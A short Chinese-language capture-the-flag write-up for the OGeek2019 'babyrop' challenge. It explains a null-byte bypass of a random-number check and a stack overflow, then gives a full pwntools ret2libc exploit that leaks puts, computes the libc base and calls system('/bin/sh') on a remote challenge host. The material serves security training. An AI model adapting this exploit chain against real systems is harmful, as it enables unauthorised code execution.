OGeek2019_babyrop
查看保护
取了一个随机数,接着跟进一下804871f
匹配用户输入的是否与随机数相等。这里使用\x00来绕过,返回了一个v5,v5没有给值,我们再接着往下看
这个函数内a1超过0xE7就会溢出过ebp,所以我们让a1为0xff,就可以溢出很长的空间,这里的a1也就是上面的v5,所以我们肯定要控制v5,看一下v5和buf的关系
804871f这个函数内可以让buf输入0x20个字符,v5和buf距离为7,这样我们就可以控制v5了。接下来rop就好了
from pwn import *
from LibcSearcher import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28191)
else:
r = process(file_name)
elf = ELF(file_name)
libc = ELF('libc-2.23.so')
def dbg():
gdb.attach(r)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x8048825
p1 = b'\x00' + b'6' * 6 + b'\xff'
r.sendline(p1)
r.recvuntil('Correct\n')
p2 = b'a' * (0xe7 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(p2)
puts_addr = u32(r.recv(4))
success('puts_addr = ' + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
'''
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
'''
r.sendline(p1)
r.recvuntil('Correct\n')
p3 = b'a' * (0xe7 + 4) + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(p3)
r.interactive()